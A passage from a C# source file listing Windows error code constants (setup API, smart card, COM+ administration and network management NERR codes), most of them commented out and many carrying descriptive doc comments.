SPAPI_E_UNRECOVERABLE_STACK_OVERFLOW = 0x800F0300; //public const uint SPAPI_E_ERROR_NOT_INSTALLED = 0x800F1000; //public const uint SCARD_S_SUCCESS = NO_ERROR; //public const uint SCARD_F_INTERNAL_ERROR = 0x80100001; //public const uint SCARD_E_CANCELLED = 0x80100002; //public const uint SCARD_E_INVALID_HANDLE = 0x80100003; //public const uint SCARD_E_INVALID_PARAMETER = 0x80100004; //public const uint SCARD_E_INVALID_TARGET = 0x80100005; //public const uint SCARD_E_NO_MEMORY = 0x80100006; //public const uint SCARD_F_WAITED_TOO_LONG = 0x80100007; //public const uint SCARD_E_INSUFFICIENT_BUFFER = 0x80100008; //public const uint SCARD_E_UNKNOWN_READER = 0x80100009; //public const uint SCARD_E_TIMEOUT = 0x8010000A; //public const uint SCARD_E_SHARING_VIOLATION = 0x8010000B; //public const uint SCARD_E_NO_SMARTCARD = 0x8010000C; //public const uint SCARD_E_UNKNOWN_CARD = 0x8010000D; //public const uint SCARD_E_CANT_DISPOSE = 0x8010000E; //public const uint SCARD_E_PROTO_MISMATCH = 0x8010000F; //public const uint SCARD_E_NOT_READY = 0x80100010; //public const uint SCARD_E_INVALID_VALUE = 0x80100011; //public const uint SCARD_E_SYSTEM_CANCELLED = 0x80100012; //public const uint SCARD_F_COMM_ERROR = 0x80100013; //public const uint SCARD_F_UNKNOWN_ERROR = 0x80100014; //public const uint SCARD_E_INVALID_ATR = 0x80100015; //public const uint SCARD_E_NOT_TRANSACTED = 0x80100016; //public const uint SCARD_E_READER_UNAVAILABLE = 0x80100017; //public const uint SCARD_P_SHUTDOWN = 0x80100018; //public const uint SCARD_E_PCI_TOO_SMALL = 0x80100019; //public const uint SCARD_E_READER_UNSUPPORTED = 0x8010001A; //public const uint SCARD_E_DUPLICATE_READER = 0x8010001B; //public const uint SCARD_E_CARD_UNSUPPORTED = 0x8010001C; //public const uint SCARD_E_NO_SERVICE = 0x8010001D; //public const uint SCARD_E_SERVICE_STOPPED = 0x8010001E; //public const uint SCARD_E_UNEXPECTED = 0x8010001F; //public const uint SCARD_E_ICC_INSTALLATION = 0x80100020; //public const uint SCARD_E_ICC_CREATEORDER = 0x80100021; //public const uint SCARD_E_UNSUPPORTED_FEATURE = 0x80100022; //public const uint SCARD_E_DIR_NOT_FOUND = 0x80100023; //public const uint SCARD_E_FILE_NOT_FOUND = 0x80100024; //public const uint SCARD_E_NO_DIR = 0x80100025; //public const uint SCARD_E_NO_FILE = 0x80100026; //public const uint SCARD_E_NO_ACCESS = 0x80100027; //public const uint SCARD_E_WRITE_TOO_MANY = 0x80100028; //public const uint SCARD_E_BAD_SEEK = 0x80100029; //public const uint SCARD_E_INVALID_CHV = 0x8010002A; //public const uint SCARD_E_UNKNOWN_RES_MNG = 0x8010002B; //public const uint SCARD_E_NO_SUCH_CERTIFICATE = 0x8010002C; //public const uint SCARD_E_CERTIFICATE_UNAVAILABLE = 0x8010002D; //public const uint SCARD_E_NO_READERS_AVAILABLE = 0x8010002E; //public const uint SCARD_E_COMM_DATA_LOST = 0x8010002F; //public const uint SCARD_E_NO_KEY_CONTAINER = 0x80100030; //public const uint SCARD_E_SERVER_TOO_BUSY = 0x80100031; //public const uint SCARD_W_UNSUPPORTED_CARD = 0x80100065; //public const uint SCARD_W_UNRESPONSIVE_CARD = 0x80100066; //public const uint SCARD_W_UNPOWERED_CARD = 0x80100067; //public const uint SCARD_W_RESET_CARD = 0x80100068; //public const uint SCARD_W_REMOVED_CARD = 0x80100069; //public const uint SCARD_W_SECURITY_VIOLATION = 0x8010006A; //public const uint SCARD_W_WRONG_CHV = 0x8010006B; //public const uint SCARD_W_CHV_BLOCKED = 0x8010006C; //public const uint SCARD_W_EOF = 0x8010006D; //public const uint SCARD_W_CANCELLED_BY_USER = 0x8010006E; //public const uint SCARD_W_CARD_NOT_AUTHENTICATED = 0x8010006F; //public const uint COMADMIN_E_OBJECTERRORS = 0x80110401; //public const uint COMADMIN_E_OBJECTINVALID = 0x80110402; //public const uint COMADMIN_E_KEYMISSING = 0x80110403; //public const uint COMADMIN_E_ALREADYINSTALLED = 0x80110404; //public const uint COMADMIN_E_APP_FILE_WRITEFAIL = 0x80110407; //public const uint COMADMIN_E_APP_FILE_READFAIL = 0x80110408; //public const uint COMADMIN_E_APP_FILE_VERSION = 0x80110409; //public const uint COMADMIN_E_BADPATH = 0x8011040A; //public const uint COMADMIN_E_APPLICATIONEXISTS = 0x8011040B; //public const uint COMADMIN_E_ROLEEXISTS = 0x8011040C; //public const uint COMADMIN_E_CANTCOPYFILE = 0x8011040D; //public const uint COMADMIN_E_NOUSER = 0x8011040F; //public const uint COMADMIN_E_INVALIDUSERIDS = 0x80110410; //public const uint COMADMIN_E_NOREGISTRYCLSID = 0x80110411; //public const uint COMADMIN_E_BADREGISTRYPROGID = 0x80110412; //public const uint COMADMIN_E_AUTHENTICATIONLEVEL = 0x80110413; //public const uint COMADMIN_E_USERPASSWDNOTVALID = 0x80110414; //public const uint COMADMIN_E_CLSIDORIIDMISMATCH = 0x80110418; //public const uint COMADMIN_E_REMOTEINTERFACE = 0x80110419; //public const uint COMADMIN_E_DLLREGISTERSERVER = 0x8011041A; //public const uint COMADMIN_E_NOSERVERSHARE = 0x8011041B; //public const uint COMADMIN_E_DLLLOADFAILED = 0x8011041D; //public const uint COMADMIN_E_BADREGISTRYLIBID = 0x8011041E; //public const uint COMADMIN_E_APPDIRNOTFOUND = 0x8011041F; //public const uint COMADMIN_E_REGISTRARFAILED = 0x80110423; //public const uint COMADMIN_E_COMPFILE_DOESNOTEXIST = 0x80110424; //public const uint COMADMIN_E_COMPFILE_LOADDLLFAIL = 0x80110425; //public const uint COMADMIN_E_COMPFILE_GETCLASSOBJ = 0x80110426; //public const uint COMADMIN_E_COMPFILE_CLASSNOTAVAIL = 0x80110427; //public const uint COMADMIN_E_COMPFILE_BADTLB = 0x80110428; //public const uint COMADMIN_E_COMPFILE_NOTINSTALLABLE = 0x80110429; //public const uint COMADMIN_E_NOTCHANGEABLE = 0x8011042A; //public const uint COMADMIN_E_NOTDELETEABLE = 0x8011042B; //public const uint COMADMIN_E_SESSION = 0x8011042C; //public const uint COMADMIN_E_COMP_MOVE_LOCKED = 0x8011042D; //public const uint COMADMIN_E_COMP_MOVE_BAD_DEST = 0x8011042E; //public const uint COMADMIN_E_REGISTERTLB = 0x80110430; //public const uint COMADMIN_E_SYSTEMAPP = 0x80110433; //public const uint COMADMIN_E_COMPFILE_NOREGISTRAR = 0x80110434; //public const uint COMADMIN_E_COREQCOMPINSTALLED = 0x80110435; //public const uint COMADMIN_E_SERVICENOTINSTALLED = 0x80110436; //public const uint COMADMIN_E_PROPERTYSAVEFAILED = 0x80110437; //public const uint COMADMIN_E_OBJECTEXISTS = 0x80110438; //public const uint COMADMIN_E_COMPONENTEXISTS = 0x80110439; //public const uint COMADMIN_E_REGFILE_CORRUPT = 0x8011043B; //public const uint COMADMIN_E_PROPERTY_OVERFLOW = 0x8011043C; //public const uint COMADMIN_E_NOTINREGISTRY = 0x8011043E; //public const uint COMADMIN_E_OBJECTNOTPOOLABLE = 0x8011043F; //public const uint COMADMIN_E_APPLID_MATCHES_CLSID = 0x80110446; //public const uint COMADMIN_E_ROLE_DOES_NOT_EXIST = 0x80110447; //public const uint COMADMIN_E_START_APP_NEEDS_COMPONENTS = 0x80110448; //public const uint COMADMIN_E_REQUIRES_DIFFERENT_PLATFORM = 0x80110449; //public const uint COMADMIN_E_CAN_NOT_EXPORT_APP_PROXY = 0x8011044A; //public const uint COMADMIN_E_CAN_NOT_START_APP = 0x8011044B; //public const uint COMADMIN_E_CAN_NOT_EXPORT_SYS_APP = 0x8011044C; //public const uint COMADMIN_E_CANT_SUBSCRIBE_TO_COMPONENT = 0x8011044D; //public const uint COMADMIN_E_EVENTCLASS_CANT_BE_SUBSCRIBER = 0x8011044E; //public const uint COMADMIN_E_LIB_APP_PROXY_INCOMPATIBLE = 0x8011044F; //public const uint COMADMIN_E_BASE_PARTITION_ONLY = 0x80110450; //public const uint COMADMIN_E_START_APP_DISABLED = 0x80110451; //public const uint COMADMIN_E_CAT_DUPLICATE_PARTITION_NAME = 0x80110457; //public const uint COMADMIN_E_CAT_INVALID_PARTITION_NAME = 0x80110458; //public const uint COMADMIN_E_CAT_PARTITION_IN_USE = 0x80110459; //public const uint COMADMIN_E_FILE_PARTITION_DUPLICATE_FILES = 0x8011045A; //public const uint COMADMIN_E_CAT_IMPORTED_COMPONENTS_NOT_ALLOWED = 0x8011045B; //public const uint COMADMIN_E_AMBIGUOUS_APPLICATION_NAME = 0x8011045C; //public const uint COMADMIN_E_AMBIGUOUS_PARTITION_NAME = 0x8011045D; //public const uint COMADMIN_E_REGDB_NOTINITIALIZED = 0x80110472; //public const uint COMADMIN_E_REGDB_NOTOPEN = 0x80110473; //public const uint COMADMIN_E_REGDB_SYSTEMERR = 0x80110474; //public const uint COMADMIN_E_REGDB_ALREADYRUNNING = 0x80110475; //public const uint COMADMIN_E_MIG_VERSIONNOTSUPPORTED = 0x80110480; //public const uint COMADMIN_E_MIG_SCHEMANOTFOUND = 0x80110481; //public const uint COMADMIN_E_CAT_BITNESSMISMATCH = 0x80110482; //public const uint COMADMIN_E_CAT_UNACCEPTABLEBITNESS = 0x80110483; //public const uint COMADMIN_E_CAT_WRONGAPPBITNESS = 0x80110484; //public const uint COMADMIN_E_CAT_PAUSE_RESUME_NOT_SUPPORTED = 0x80110485; //public const uint COMADMIN_E_CAT_SERVERFAULT = 0x80110486; //public const uint COMQC_E_APPLICATION_NOT_QUEUED = 0x80110600; //public const uint COMQC_E_NO_QUEUEABLE_INTERFACES = 0x80110601; //public const uint COMQC_E_QUEUING_SERVICE_NOT_AVAILABLE = 0x80110602; //public const uint COMQC_E_NO_IPERSISTSTREAM = 0x80110603; //public const uint COMQC_E_BAD_MESSAGE = 0x80110604; //public const uint COMQC_E_UNAUTHENTICATED = 0x80110605; //public const uint COMQC_E_UNTRUSTED_ENQUEUER = 0x80110606; //public const uint MSDTC_E_DUPLICATE_RESOURCE = 0x80110701; //public const uint COMADMIN_E_OBJECT_PARENT_MISSING = 0x80110808; //public const uint COMADMIN_E_OBJECT_DOES_NOT_EXIST = 0x80110809; //public const uint COMADMIN_E_APP_NOT_RUNNING = 0x8011080A; //public const uint COMADMIN_E_INVALID_PARTITION = 0x8011080B; //public const uint COMADMIN_E_SVCAPP_NOT_POOLABLE_OR_RECYCLABLE = 0x8011080D; //public const uint COMADMIN_E_USER_IN_SET = 0x8011080E; //public const uint COMADMIN_E_CANTRECYCLELIBRARYAPPS = 0x8011080F; //public const uint COMADMIN_E_CANTRECYCLESERVICEAPPS = 0x80110811; //public const uint COMADMIN_E_PROCESSALREADYRECYCLED = 0x80110812; //public const uint COMADMIN_E_PAUSEDPROCESSMAYNOTBERECYCLED = 0x80110813; //public const uint COMADMIN_E_CANTMAKEINPROCSERVICE = 0x80110814; //public const uint COMADMIN_E_PROGIDINUSEBYCLSID = 0x80110815; //public const uint COMADMIN_E_DEFAULT_PARTITION_NOT_IN_SET = 0x80110816; //public const uint COMADMIN_E_RECYCLEDPROCESSMAYNOTBEPAUSED = 0x80110817; //public const uint COMADMIN_E_PARTITION_ACCESSDENIED = 0x80110818; //public const uint COMADMIN_E_PARTITION_MSI_ONLY = 0x80110819; //public const uint COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_1_0_FORMAT = 0x8011081A; //public const uint COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_NONBASE_PARTITIONS = 0x8011081B; //public const uint COMADMIN_E_COMP_MOVE_SOURCE = 0x8011081C; //public const uint COMADMIN_E_COMP_MOVE_DEST = 0x8011081D; //public const uint COMADMIN_E_COMP_MOVE_PRIVATE = 0x8011081E; //public const uint COMADMIN_E_BASEPARTITION_REQUIRED_IN_SET = 0x8011081F; //public const uint COMADMIN_E_CANNOT_ALIAS_EVENTCLASS = 0x80110820; //public const uint COMADMIN_E_PRIVATE_ACCESSDENIED = 0x80110821; //public const uint COMADMIN_E_SAFERINVALID = 0x80110822; //public const uint COMADMIN_E_REGISTRY_ACCESSDENIED = 0x80110823; //public const uint COMADMIN_E_PARTITIONS_DISABLED = 0x80110824; #region Network Management Error Codes // http://msdn.microsoft.com/en-us/library/windows/desktop/aa370674%28v=vs.85%29.aspx /// (0) The operation completed successfully. public const uint NERR_Success = 0; ///// The workstation driver is not installed. //public const uint NERR_NetNotStarted = 2102; ///// The server could not be located. //public const uint NERR_UnknownServer = 2103; ///// An internal error occurred. The network cannot access a shared memory segment. //public const uint NERR_ShareMem = 2104; ///// A network resource shortage occurred. //public const uint NERR_NoNetworkResource = 2105; ///// This operation is not supported on workstations. //public const uint NERR_RemoteOnly = 2106; ///// The device is not connected. //public const uint NERR_DevNotRedirected = 2107; ///// The Server service is not started. //public const uint NERR_ServerNotStarted = 2114; ///// The queue is empty. //public const uint NERR_ItemNotFound = 2115; ///// The device or directory does not exist. //public const uint NERR_UnknownDevDir = 2116; ///// The operation is invalid on a redirected resource. //public const uint NERR_RedirectedPath = 2117; ///// The name has already been shared. //public const uint NERR_DuplicateShare = 2118; ///// The server is currently out of the requested resource. //public const uint NERR_NoRoom = 2119; ///// Requested addition of items exceeds the maximum allowed. //public const uint NERR_TooManyItems = 2121; ///// The Peer service supports only two simultaneous users. //public const uint NERR_InvalidMaxUsers = 2122; ///// The API return buffer is too small. //public const uint NERR_BufTooSmall = 2123; ///// A remote API error occurred. //public const uint NERR_RemoteErr = 2127; ///// An error occurred when opening or reading the configuration file. //public const uint NERR_LanmanIniError = 2131; ///// A general network error occurred. //public const uint NERR_NetworkError = 2136; ///// The Workstation service is in an inconsistent state. Restart the computer before restarting the Workstation service. //public const uint NERR_WkstaInconsistentState = 2137; ///// The Workstation service has not been started. //public const uint NERR_WkstaNotStarted = 2138; ///// The requested information is not available. //public const uint NERR_BrowserNotStarted = 2139; ///// An internal error occurred. //public const uint NERR_InternalError = 2140; ///// The server is not configured for transactions. //public const uint NERR_BadTransactConfig = 2141; ///// The requested API is not supported on the remote server. //public const uint NERR_InvalidAPI = 2142; ///// The event name is invalid. //public const uint NERR_BadEventName = 2143; ///// The computer name already exists on the network. Change it and restart the computer. //public const uint NERR_DupNameReboot = 2144; ///// The specified component could not be found in the configuration information. //public const uint NERR_CfgCompNotFound = 2146; ///// The specified parameter could not be found in the configuration information. //public const uint NERR_CfgParamNotFound = 2147; ///// A line in the configuration file is too long. //public const uint NERR_LineTooLong = 2149; ///// The printer does not exist. //public const uint NERR_QNotFound = 2150; ///// The print job does not exist. //public const uint NERR_JobNotFound = 2151; ///// The printer destination cannot be found. //public const uint NERR_DestNotFound = 2152; ///// The printer destination already exists. //public const uint NERR_DestExists = 2153; ///// The printer queue already exists. //public const uint NERR_QExists = 2154; ///// No more printers can be added. //public const uint NERR_QNoRoom = 2155; ///// No more print jobs can be added. //public const uint NERR_JobNoRoom = 2156; ///// No more printer destinations can be added. //public const uint NERR_DestNoRoom = 2157; ///// This printer destination is idle and cannot accept control operations. //public const uint NERR_DestIdle = 2158; ///// This printer destination request contains an invalid control function. //public const uint NERR_DestInvalidOp = 2159; ///// The print processor is not responding. //public const uint NERR_ProcNoRespond = 2160; ///// The spooler is not running. //public const uint NERR_SpoolerNotLoaded = 2161; ///// This operation cannot be performed on the print destination in its current state. //public const uint NERR_DestInvalidState = 2162; ///// This operation cannot be performed on the printer queue in its current state. //public const uint NERR_QinvalidState = 2163; ///// This operation cannot be performed on the print job in its current state. //public const uint NERR_JobInvalidState = 2164; ///// A spooler memory allocation failure occurred. //public const uint NERR_SpoolNoMemory = 2165; ///// The device driver does not exist. //public const uint NERR_DriverNotFound = 2166; ///// The data type is not supported by the print processor. //public const uint NERR_DataTypeInvalid = 2167; ///// The print processor is not installed. //public const uint NERR_ProcNotFound = 2168; ///// The service database is locked. //public const uint NERR_ServiceTableLocked = 2180; ///// The service table is full. //public const uint NERR_ServiceTableFull = 2181; ///// The requested service has already been started. //public const uint NERR_ServiceInstalled = 2182; ///// The service does not respond to control actions. //public const uint NERR_ServiceEntryLocked = 2183; ///// The service has not been started. //public const uint NERR_ServiceNotInstalled = 2184; ///// The service name is invalid. //public const uint NERR_BadServiceName = 2185; ///// The service is not responding to the control function. //public const uint NERR_ServiceCtlTimeout = 2186; ///// The service control is busy. //public const uint NERR_ServiceCtlBusy = 2187; ///// The configuration file contains an invalid service program name. //public const uint NERR_BadServiceProgName = 2188; ///// The service could not be controlled in its present state. //public const uint NERR_ServiceNotCtrl = 2189; ///// The service ended abnormally. //public const uint NERR_ServiceKillProc = 2190; ///// The requested pause or stop is not valid for this service. //public const uint NERR_ServiceCtlNotValid = 2191; ///// The service control dispatcher could not find the service name in the dispatch table. //public const uint NERR_NotInDispatchTbl = 2192; ///// The service control dispatcher pipe read failed. //public const uint NERR_BadControlRecv = 2193; ///// A thread for the new service could not be created. //public const uint NERR_ServiceNotStarting = 2194; ///// This workstation is already logged on to the local-area network. //public const uint NERR_AlreadyLoggedOn = 2200; ///// The workstation is not logged on to the local-area network. //public const uint NERR_NotLoggedOn = 2201; ///// The user name or group name parameter is invalid. //public const uint NERR_BadUsername = 2202; ///// The password parameter is invalid. //public const uint NERR_BadPassword = 2203; ///// @W The logon processor did not add the message alias. //public const uint NERR_UnableToAddName_W = 2204; ///// The logon processor did not add the message alias. //public const uint NERR_UnableToAddName_F = 2205; ///// @W The logoff processor did not delete the message alias. //public const uint NERR_UnableToDelName_W = 2206; ///// The logoff processor did not delete the message alias. //public const uint NERR_UnableToDelName_F = 2207; ///// Network logons are paused. //public const uint NERR_LogonsPaused = 2209; ///// A centralized logon-server conflict occurred. //public const uint NERR_LogonServerConflict = 2210; ///// The server is configured without a valid user path. //public const uint NERR_LogonNoUserPath = 2211; ///// An error occurred while loading or running the logon script. //public const uint NERR_LogonScriptError = 2212; ///// The logon server was not specified. Your computer will be logged on as STANDALONE. //public const uint NERR_StandaloneLogon = 2214; ///// The logon server could not be found. //public const uint NERR_LogonServerNotFound = 2215; ///// There is already a logon domain for this computer. //public const uint NERR_LogonDomainExists = 2216; ///// The logon server could not validate the logon. //public const uint NERR_NonValidatedLogon = 2217; ///// The security database could not be found. //public const uint NERR_ACFNotFound = 2219; ///// The group name could not be found. //public const uint NERR_GroupNotFound = 2220; ///// The user name could not be found. //public const uint NERR_UserNotFound = 2221; ///// The resource name could not be found. //public const uint NERR_ResourceNotFound = 2222; ///// The group already exists. //public const uint NERR_GroupExists = 2223; ///// The user account already exists. //public const uint NERR_UserExists = 2224; ///// The resource permission list already exists. //public const uint NERR_ResourceExists = 2225; ///// This operation is only allowed on the primary domain controller of the domain. //public const uint NERR_NotPrimary = 2226; ///// The security database has not been started. //public const uint NERR_ACFNotLoaded = 2227; ///// There are too many names in the user accounts database. //public const uint NERR_ACFNoRoom = 2228; ///// A disk I/O failure occurred. //public const uint NERR_ACFFileIOFail = 2229; ///// The limit of 64 entries per resource was exceeded. //public const uint NERR_ACFTooManyLists = 2230; ///// Deleting a user with a session is not allowed. //public const uint NERR_UserLogon = 2231; ///// The parent directory could not be located. //public const uint NERR_ACFNoParent = 2232; ///// Unable to add to the security database session cache segment. //public const uint NERR_CanNotGrowSegment = 2233; ///// This operation is not allowed on this special group. //public const uint NERR_SpeGroupOp = 2234; ///// This user is not cached in user accounts database session cache. //public const uint NERR_NotInCache = 2235; ///// The user already belongs to this group. //public const uint NERR_UserInGroup = 2236; ///// The user does not belong to this group. //public const uint NERR_UserNotInGroup = 2237; ///// This user account is undefined. //public const uint NERR_AccountUndefined = 2238; ///// This user account has expired. //public const uint NERR_AccountExpired = 2239; ///// The user is not allowed to log on from this workstation. //public const uint NERR_InvalidWorkstation = 2240; ///// The user is not allowed to log on at this time. //public const uint NERR_InvalidLogonHours = 2241; ///// The password of this user has expired. //public const uint NERR_PasswordExpired = 2242; ///// The password of this user cannot change. //public const uint NERR_PasswordCantChange = 2243; ///// This password cannot be used now. //public const uint NERR_PasswordHistConflict = 2244; ///// The password does not meet the password policy requirements. Check the minimum password length, password complexity and password history requirements. //public const uint NERR_PasswordTooShort = 2245; ///// The password of this user is too recent to change. //public const uint NERR_PasswordTooRecent = 2246; ///// The security database is corrupted. //public const uint NERR_InvalidDatabase = 2247; ///// No updates are necessary to this replicant network/local security database. //public const uint NERR_DatabaseUpToDate = 2248; ///// This replicant database is outdated; synchronization is required. //public const uint NERR_SyncRequired = 2249; //// (2250) The network connection could not be found. //public const uint NERR_UseNotFound = 2250; ///// This asg_type is invalid. //public const uint NERR_BadAsgType = 2251; ///// This device is currently being shared. //public const uint NERR_DeviceIsShared = 2252; ///// The computer name could not be added as a message alias. The name may already exist on the network. //public const uint NERR_NoComputerName = 2270; ///// The Messenger service is already started. //public const uint NERR_MsgAlreadyStarted = 2271; ///// The Messenger service failed to start. //public const uint NERR_MsgInitFailed = 2272; ///// The message alias could not be found on the network. //public const uint NERR_NameNotFound = 2273; ///// This message alias has already been forwarded. //public const uint NERR_AlreadyForwarded = 2274; ///// This message alias has been added but is still forwarded. //public const uint NERR_AddForwarded = 2275; ///// This message alias already exists locally. //public const uint NERR_AlreadyExists = 2276; ///// The maximum number of added message aliases has been exceeded. //public const uint NERR_TooManyNames = 2277; ///// The computer name could not be deleted. //public const uint NERR_DelComputerName = 2278; ///// Messages cannot be forwarded back to the same workstation. //public const uint NERR_LocalForward = 2279; ///// An error occurred in the domain message processor. //public const uint NERR_GrpMsgProcessor = 2280; ///// The message was sent, but the recipient has paused the Messenger service. //public const uint NERR_PausedRemote = 2281; ///// The message was sent but not received. //public const uint NERR_BadReceive = 2282; ///// The message alias is currently in use. Try again later. //public const uint NERR_NameInUse = 2283; ///// The Messenger service has not been started. //public const uint NERR_MsgNotStarted = 2284; ///// The name is not on the local computer. //public const uint NERR_NotLocalName = 2285; ///// The forwarded message alias could not be found on the network. //public const uint NERR_NoForwardName = 2286; ///// The message alias table on the remote station is full. //public const uint NERR_RemoteFull = 2287; ///// Messages for this alias are not currently being forwarded. //public const uint NERR_NameNotForwarded = 2288; ///// The broadcast message was truncated. //public const uint NERR_TruncatedBroadcast = 2289; ///// This is an invalid device name. //public const uint NERR_InvalidDevice = 2294; ///// A write fault occurred. //public const uint NERR_WriteFault = 2295; ///// A duplicate message alias exists on the network. //public const uint NERR_DuplicateName = 2297; ///// @W This message alias will be deleted later. //public const uint NERR_DeleteLater = 2298; ///// The message alias was not successfully deleted from all networks. //public const uint NERR_IncompleteDel = 2299; ///// This operation is not supported on computers with multiple networks. //public const uint NERR_MultipleNets = 2300; //// (2310) This shared resource does not exist. //public const uint NERR_NetNameNotFound = 2310; ///// This device is not shared. //public const uint NERR_DeviceNotShared = 2311; ///// A session does not exist with that computer name. //public const uint NERR_ClientNameNotFound = 2312; /// (2314) There is not an open file with that identification number. public const uint NERR_FileIdNotFound = 2314; ///// A failure occurred when executing a remote administration command. //public const uint NERR_ExecFailure = 2315; ///// A failure occurred when opening a remote temporary file. //public const uint NERR_TmpFile = 2316; ///// The data returned from a remote administration command has been truncated to 64K. //public const uint NERR_TooMuchData = 2317; ///// This device cannot be shared as both a spooled and a non-spooled resource. //public const uint NERR_DeviceShareConflict = 2318; ///// The information in the list of servers may be incorrect. //public const uint NERR_BrowserTableIncomplete = 2319; ///// The computer is not active in this domain. //public const uint NERR_NotLocalDomain = 2320; ///// The share must be removed from the Distributed File System before it can be deleted. //public const uint NERR_IsDfsShare = 2321; ///// The operation is invalid for this device. //public const uint NERR_DevInvalidOpCode = 2331; ///// This device cannot be shared. //public const uint NERR_DevNotFound = 2332; ///// This device was not open. //public const uint NERR_DevNotOpen = 2333; ///// This device name list is invalid. //public const uint NERR_BadQueueDevString = 2334; ///// The queue priority is invalid. //public const uint NERR_BadQueuePriority = 2335; ///// There are no shared communication devices. //public const uint NERR_NoCommDevs = 2337; ///// The queue you specified does not exist. //public const uint NERR_QueueNotFound = 2338; ///// This list of devices is invalid. //public const uint NERR_BadDevString = 2340; ///// The requested device is invalid. //public const uint NERR_BadDev = 2341; ///// This device is already in use by the spooler. //public const uint NERR_InUseBySpooler = 2342; ///// This device is already in use as a communication device. //public const uint NERR_CommDevInUse = 2343; ///// This computer name is invalid. //public const uint NERR_InvalidComputer = 2351; ///// The string and prefix specified are too long. //public const uint NERR_MaxLenExceeded = 2354; ///// This path component is invalid. //public const uint NERR_BadComponent = 2356; ///// Could not determine the type of input. //public const uint NERR_CantType = 2357; ///// The buffer for types is not big enough. //public const uint NERR_TooManyEntries = 2362; ///// Profile files cannot exceed 64K. //public const uint NERR_ProfileFileTooBig = 2370; ///// The start offset is out of range. //public const uint NERR_ProfileOffset = 2371; ///// The system cannot delete current connections to network resources. //public const uint NERR_ProfileCleanup = 2372; ///// The system was unable to parse the command line in this file. //public const uint NERR_ProfileUnknownCmd = 2373; ///// An error occurred while loading the profile file. //public const uint NERR_ProfileLoadErr = 2374; ///// @W Errors occurred while saving the profile file. The profile was partially saved. //public const uint NERR_ProfileSaveErr = 2375; ///// Log file %1 is full. //public const uint NERR_LogOverflow = 2377; ///// This log file has changed between reads. //public const uint NERR_LogFileChanged = 2378; ///// Log file %1 is corrupt. //public const uint NERR_LogFileCorrupt = 2379; ///// The source path cannot be a directory. //public const uint NERR_SourceIsDir = 2380; ///// The source path is illegal. //public const uint NERR_BadSource = 2381; ///// The destination path is illegal. //public const uint NERR_BadDest = 2382; ///// The source and destination paths are on different servers. //public const uint NERR_DifferentServers = 2383; ///// The Run server you requested is paused. //public const uint NERR_RunSrvPaused = 2385; ///// An error occurred when communicating with a Run server. //public const uint NERR_ErrCommRunSrv = 2389; ///// An error occurred when starting a background process. //public const uint NERR_ErrorExecingGhost = 2391; ///// The shared resource you are connected to could not be found. //public const uint NERR_ShareNotFound = 2392; ///// The LAN adapter number is invalid. //public const uint NERR_InvalidLana = 2400; ///// There are open files on the connection. //public const uint NERR_OpenFiles = 2401; ///// Active connections still exist. //public const uint NERR_ActiveConns = 2402; ///// This share name or password is invalid. //public const uint NERR_BadPasswordCore = 2403; ///// The device is being accessed by an active process. //public const uint NERR_DevInUse = 2404; ///// The drive letter is in use locally. //public const uint NERR_LocalDrive = 2405; ///// The specified client is already registered for the specified event. //public const uint NERR_AlertExists = 2430; ///// The alert table is full. //public const uint NERR_TooManyAlerts = 2431; ///// An invalid or nonexistent alert name was raised. //public const uint NERR_NoSuchAlert = 2432; ///// The alert recipient is invalid. //public const uint NERR_BadRecipient = 2433; ///// A user's session with this server has been deleted //public const uint NERR_AcctLimitExceeded = 2434; ///// The log file does not contain the requested record number. //public const uint NERR_InvalidLogSeek = 2440; ///// The user accounts database is not configured correctly. //public const uint NERR_BadUasConfig = 2450; ///// This operation is not permitted when the Netlogon service is running. //public const uint NERR_InvalidUASOp = 2451; ///// This operation is not allowed on the last administrative account. //public const uint NERR_LastAdmin = 2452; ///// Could not find domain controller for this domain. //public const uint NERR_DCNotFound = 2453; ///// Could not set logon information for this user. //public const uint NERR_LogonTrackingError = 2454; ///// The Netlogon service has not been started. //public const uint NERR_NetlogonNotStarted = 2455; ///// Unable to add to the user accounts database. //public const uint NERR_CanNotGrowUASFile = 2456; ///// This server's clock is not synchronized with the primary domain controller's clock. //public const uint NERR_TimeDiffAtDC = 2457; ///// A password mismatch has been detected. //public const uint NERR_PasswordMismatch = 2458; ///// The server identification does not specify a valid server. //public const uint NERR_NoSuchServer = 2460; ///// The session identification does not specify a valid session. //public const uint NERR_NoSuchSession = 2461; ///// The connection identification does not specify a valid connection. //public const uint NERR_NoSuchConnection = 2462; ///// There is no space for another entry in the table of available servers. //public const uint NERR_TooManyServers = 2463; ///// The server has reached the maximum number of sessions it supports. //public const uint NERR_TooManySessions = 2464; ///// The server has reached the maximum number of connections it supports. //public const uint NERR_TooManyConnections = 2465; ///// The server cannot open more files because it has reached its maximum number. //public const uint NERR_TooManyFiles = 2466; ///// There are no alternate servers registered on this server. //public const uint NERR_NoAlternateServers = 2467; ///// Try down-level (remote admin protocol) version of API instead. //public const uint NERR_TryDownLevel = 2470; ///// The UPS driver could not be accessed by the UPS service. //public const uint NERR_UPSDriverNotStarted = 2480; ///// The UPS service is not configured correctly. //public const uint NERR_UPSInvalidConfig = 2481; ///// The UPS service could not access the specified Comm Port. //public const uint NERR_UPSInvalidCommPort = 2482; ///// The UPS indicated a line fail or low battery situation. Service not started. //public const uint NERR_UPSSignalAsserted = 2483; ///// The UPS service failed to perform a system shut down. //public const uint NERR_UPSShutdownFailed = 2484; ///// The program below returned an MS-DOS error code: //public const uint NERR_BadDosRetCode = 2500; ///// The program below needs more memory: //public const uint NERR_ProgNeedsExtraMem = 2501; ///// The program below called an unsupported MS-DOS function: //public const uint NERR_BadDosFunction = 2502; ///// The workstation failed to boot. //public const uint NERR_RemoteBootFailed = 2503; ///// The file below is corrupt. //public const uint NERR_BadFileCheckSum = 2504; ///// No loader is specified in the boot-block definition file. //public const uint NERR_NoRplBootSystem = 2505; ///// NetBIOS returned an error: The NCB and SMB are dumped above. //public const uint NERR_RplLoadrNetBiosErr = 2506; ///// A disk I/O error occurred. //public const uint NERR_RplLoadrDiskErr = 2507; ///// Image parameter substitution failed. //public const uint NERR_ImageParamErr = 2508; ///// Too many image parameters cross disk sector boundaries. //public const uint NERR_TooManyImageParams = 2509; ///// The image was not generated from an MS-DOS diskette formatted with /S. //public const uint NERR_NonDosFloppyUsed = 2510; ///// Remote boot will be restarted later. //public const uint NERR_RplBootRestart = 2511; ///// The call to the Remoteboot server failed. //public const uint NERR_RplSrvrCallFailed = 2512; ///// Cannot connect to the Remoteboot server. //public const uint NERR_CantConnectRplSrvr = 2513; ///// Cannot open image file on the 